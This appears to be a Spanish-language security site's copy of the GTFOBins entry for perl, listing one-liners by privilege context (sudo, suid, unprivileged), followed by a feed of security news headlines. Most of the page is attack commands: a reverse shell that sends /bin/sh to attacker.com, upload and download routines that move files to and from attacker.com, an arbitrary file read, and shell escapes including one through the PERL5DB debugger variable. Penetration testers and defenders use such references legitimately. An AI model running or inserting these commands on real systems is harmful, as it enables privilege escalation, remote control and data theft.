Ir al contenido
root@defcon-rd // ./arsenal/gtfobins/perl

perl

/ binary
perl
/ functions
5
/ contexts
4
/ aliases
./perl --examples

Funciones y ejemplos de uso

download

sudo unprivileged
perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>"attacker.com",PeerPort=>80,Proto=>"tcp") or die; print $s "GET /path/to/input-file HTTP/1.1\r\nHost: attacker.com\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", "/path/to/output-file") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);'

file-read

sudo suid unprivileged
perl -ne print /path/to/input-file

reverse-shell

sudo unprivileged
perl -e 'use Socket;$i="attacker.com";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

shell

capabilities sudo unprivileged
perl -e 'exec "/bin/sh"'
sudo unprivileged
PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl /dev/null

upload

sudo unprivileged
perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>"attacker.com", PeerPort=>80, Proto=>"tcp") or die;open(my $file, "<", "/path/to/input-file") or die;$content = join("", <$file>);close($file);$headers = "POST / HTTP/1.1\r\nHost: attacker.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($content) . "\r\nConnection: close\r\n\r\n";print $s $headers . $content;while (<$s>) { }close($s);'
./related --binary=perl

Binarios relacionados

Comparten al menos una función con perl.

CYBER ALERT
The Hacker News :: RedWing MaaS Packages Android Bank Fraud as a Telegram Rental Service The Hacker News :: Rogue Agent Flaw Could Have Let Attackers Hijack Google Dialogflow CX Chatbots The Hacker News :: DEBULL Tooling Abuses Microsoft Device-Code Flow to Target M365 Accounts The Hacker News :: Public GitHub Issue Could Trick GitHub Agentic Workflows Into Leaking Private Repo Data The Hacker News :: Court Filing Reveals Windows Device ID Helped FBI Trace Alleged Scattered Spider Hacker The Hacker News :: Writer AI Flaw Could Let Agent Previews Leak Session Tokens Across Tenants SANS ISC :: More Odd DNS Records: NIMLOC, (Tue, Jul 7th) The Hacker News :: What Changes When Your Software Supply Chain Includes AI Writing Your Code? InfoSecurity Magazine :: Suspected Chinese Threat Group Targets Universities via Vulnerable Roundcube Servers The Hacker News :: Suspected China-Aligned Hackers Exploit Roundcube Flaws Against Universities InfoSecurity Magazine :: Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang The Hacker News :: CERT/CC Warns of Hidden Admin Backdoor in Tenda Router Firmware The Hacker News :: BeyondTrust Patches Critical Auth Bypass Flaws in Remote Support and PRA InfoSecurity Magazine :: UK Government Launches Cyber Resilience Pledge, Claiming 60+ Signatories InfoSecurity Magazine :: Hackers Exploit Maximum Severity Adobe ColdFusion Flaw InfoSecurity Magazine :: Phishing Attacks Targeted Facebook Users With Fake Verification Offer SANS ISC :: ISC Stormcast For Tuesday, July 7th, 2026 https://isc.sans.edu/podcastdetail/9996, (Tue, Jul 7th) The Hacker News :: Iran-Linked Hackers Use New Cavern C2 Framework to Target Israeli Organizations The Hacker News :: 16-Year-Old Linux KVM Flaw Lets Guest VMs Escape to Host on Intel and AMD x86 Systems The Hacker News :: Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure